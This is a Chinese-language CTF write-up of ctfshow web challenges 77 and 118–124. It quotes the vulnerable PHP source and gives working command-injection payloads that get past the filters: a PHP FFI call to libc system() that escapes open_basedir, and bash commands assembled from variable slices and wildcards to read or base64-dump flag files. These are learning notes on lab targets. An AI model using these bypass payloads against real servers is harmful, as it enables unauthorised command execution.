0x31 web77
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);
得到两个特殊文件名:flag36x.txt
readflag
但有open_basedir
在,不能include
看羽师傅的解法:FFI
简单来说就是可以通过FFI扩展【PHP7.4以上】,调用C语言写的各种库。
c=$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit();
这里就是调用system来进行命令执行,这里我猜测是因为system执行的结果不会输出到页面中,故重定向到1.txt,再访问1.txt【还发现/readflag是个ELF文件】
0x32 web118
通过截取内部变量来构造命令
①
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
②
${PATH:~A}${PWD:~A} ????.???
记录一下:
在linux中可以用~获取变量的最后几位
${PATH:~A}等价于${PATH:~0}
${PWD}当前目录:/var/www/html
${#var}:var变量的长度
${#HOME}:5 ${#SHLVL}:1${#RANDOM}:随机数 ${#TERM}:14
但我个人觉得,这道题给的wp是用系统变量${PATH}构造的,但该变量如果在本地改过了,岂不是不能本地复现/构造?至少我本地复现时,就失败,而这道题又无回显,不知道其变量的值是多少
0x33 web119
过滤了PATH、BASH
${HOME:${#HOSTNAME}:${#SHLVL}} ====> t
${PWD:${Z}:${#SHLVL}} ====> /
#${Z} 测试中发现z换成其他的字符,在/var/www/html整体都返回/
/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
0x33 web120
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
过滤了PATH、BASH、HOME
构造/bin/base64 flag.php
/???/?????4 ????.???
/
在$PWD
(当前处于/var/www/html)的第一位${#SHLVL}
${#var}
获取4,${#RANDOM}
随机数,随机出4
Payload:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
0x34 web121
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
在上面题的基础上又增加了其他内置变量,但是放开了PWD和RANDOM
所以我们只需研究上一个payload的替换值即可。
过滤了SHLVL,这时可以考虑用 $?
/$#?
来替代
$?
用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。如果上一条无返回值,通常会返回1
$#? 变量?的长度
Payload:
${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
0x35 web122
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
增加了#和PWD的过滤,使得我们无法通过获取内置变量的长度获取字符串,PWD可以用HOME代替,其他的没有改变,也就是说我们只要能得到一个数字1就能通过。
思路:使用强大的$?
为了确保,$?
能输出1,可以在写个输出1的命令或者错误命令如<A;
确保下一条命令中的$?
能返回1
不断刷新Payload,随机出正确的命令
Payload:
<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
0x36 web124
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
https://blog.csdn.net/miuzzx/article/details/109181768?spm=1001.2014.3001.5501